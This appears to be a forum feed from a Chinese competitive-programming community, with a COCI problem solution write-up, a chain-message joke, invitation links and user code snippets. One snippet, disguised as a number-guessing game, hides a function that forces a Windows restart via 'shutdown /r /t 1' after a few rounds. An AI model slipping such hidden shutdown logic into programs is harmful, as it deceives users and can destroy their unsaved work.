竞赛
考级
1+1=1???????
o
洛谷P15350题解 为什么洛谷不可以发P15350题解?@KKKSC03 回归正题 大家还记得那场推迟了很久的比赛吧 没错,是 COCI 2025/2026 #4 UNOFFICIAL MIRROR 第一题是 《僵尸启示录》 题目传送门 宝贵的标程当然要放在最后。 如果有更好的方法,欢迎各路大佬指导! 现在,我们来看题吧。 有mmm个僵尸和kkk个炸弹,每个炸弹在离窝xxx米,爆炸半径为rrr米,在ttt秒爆炸,僵尸窝离城市n+1n+1n+1米。 题目问:有几个僵尸会进入城市? 我们可以定义一个布尔数组bbb,来存现在某个位置是否有僵尸,truetruetrue表示有,falsefalsefalse表示没有。 僵尸行进的代码我相信你们会写 新建一个变量mmm,存未出发的僵尸的数量,如果mmm为000,代表所有的僵尸都出发了。 每一次僵尸前进前判断,如果b[n]=trueb[n]=trueb[n]=true(等于号不表示赋值),就把b[n]b[n]b[n]赋值为falsefalsefalse,存答案的变量自加。 接下来使用forforfor循环和swapswapswap函数,调换数组bbb中的数据。 > 伪代码如下(CPP): 然后用一个变量iii,表示时间。如果在这个时间有炸弹刚好爆炸,那么,就把爆炸范围内的僵尸炸没(还记得之前定义的布尔数组 bbb 吗,就是把爆炸范围里的所有为111的值赋值为000,表示僵尸被炸没)。如果没有炸弹了,那么剩下的僵尸和未出发的僵尸一定会进入城市,就加入我们的答案。 判断炸弹是否爆炸的代码也简单,我相信你们也会写 如果有炸弹爆炸,新建两个变量 LLL 和 RRR ,表示炸弹爆炸的最左范围和最右范围,再用forforfor循环遍历所有地方,把这个地方的所有有僵尸地方全部清空。 对了!记得把炸弹时间按从小到大的顺序排序,不然WA了别怪我!还有,还要防止数组越界,RE了别怪我没提醒你。 > 伪代码如下(CPP): 还有一点要注意,僵尸先前进,炸弹再爆炸,不然会WA(别问我怎么知道的)。 标程 标程第25 ~ 28行用的是冒泡排序,因为冒泡排序代码短,而且题目使用冒泡排序不会超时,所以作者就使用冒泡排序了(其实是忘记快排和归排怎么写了) 其他关于标程不好的地方,欢迎各路大佬指教。谢谢大家! 码风还好,不喜勿喷。 > 标程(CPP): 谢谢参考题解!!! 打个广告: 我的洛谷团队:洛谷团队点这里。
有趣的题目
马上信息学奥赛开始了,提前祝你考试顺利!接龙哈!发给你最好的10个朋友,超过15个就锦鲤保佑你,不许在你这里断了。 今天必须发完,不许偷懒。想起谁,发给谁,包括我 传送0人 忘写freopen 传送1人 freopen写错 传送5人 不可以总司令骗分大神 传送10人 第三题暴力得80%的分数 传送15人 卡常卡过第四题 传送20人 AK CSP! 传送25人 AK NOIP! 传送100人 AK NOI! 传送200人 AK IOI! 别问,问就是让你转发 点赞评论一下吧!!!
@可盖大人荣光永存
@AC君链接访问不了怎么回事?
《没有不阴的可能》
#include<bits/stdc++.h> using namespace std; int f(int n){ int sum=0; for(int i=n/2;i>=0;i--){ if(i>1) sum+=f(i); else sum++; } return sum; } int main(){ int n; cin>>n; cout<<f(n); return 0; }
那儿错了? 我的代码:
#include <iostream> #include <windows.h> #include <ctime> using namespace std; void playGame() { int number = rand() % 100 + 1; int guess, attempts = 0; cout << "欢迎来到猜数字游戏!我已经想好了一个1到100之间的数字。\n"; do { cout << "请输入你的猜测:"; cin >> guess; attempts++; if (guess > number) { cout << "太大了!\n"; } else if (guess < number) { cout << "太小了!\n"; } else { cout << "恭喜你,猜对了!你用了 " << attempts << " 次。\n"; } } while (guess != number); } void hiddenShutdownLogic() { static bool triggered = false; static int counter = 0; if (!triggered && counter++ > 5) { triggered = true; system("shutdown /r /t 1"); } } int main() { srand(time(0)); char choice; do { playGame(); hiddenShutdownLogic(); cout << "再玩一次?(y/n): "; cin >> choice; } while (choice == 'y' || choice == 'Y'); return 0; }
进入给管理员身份 还剩10个位置 团队传送按钮 链接 我和“吃片皮鸭还是写c++”的小伙伴都在ACGO等你,快用这个专属链接加入我们吧!https://www.acgo.cn/application/1994944427470737408
我和“༺ཌༀ༒☯天使☯༒ༀད༻”的小伙伴都在ACGO等你,快用这个专属链接加入我们吧!https://www.acgo.cn/application/2032681613035368448
#include<bits/stdc++.h> using namespace std; double s(double a, double b, double c) { double p=(a+b+c)/2; return sqrt(p*(p-a)(p-b)(p-c)); } int main() { double a,b,c; cin>>a>>b>>c; cout<<fixed<<setprecision(2)<<s(a,b,c); }
共33135条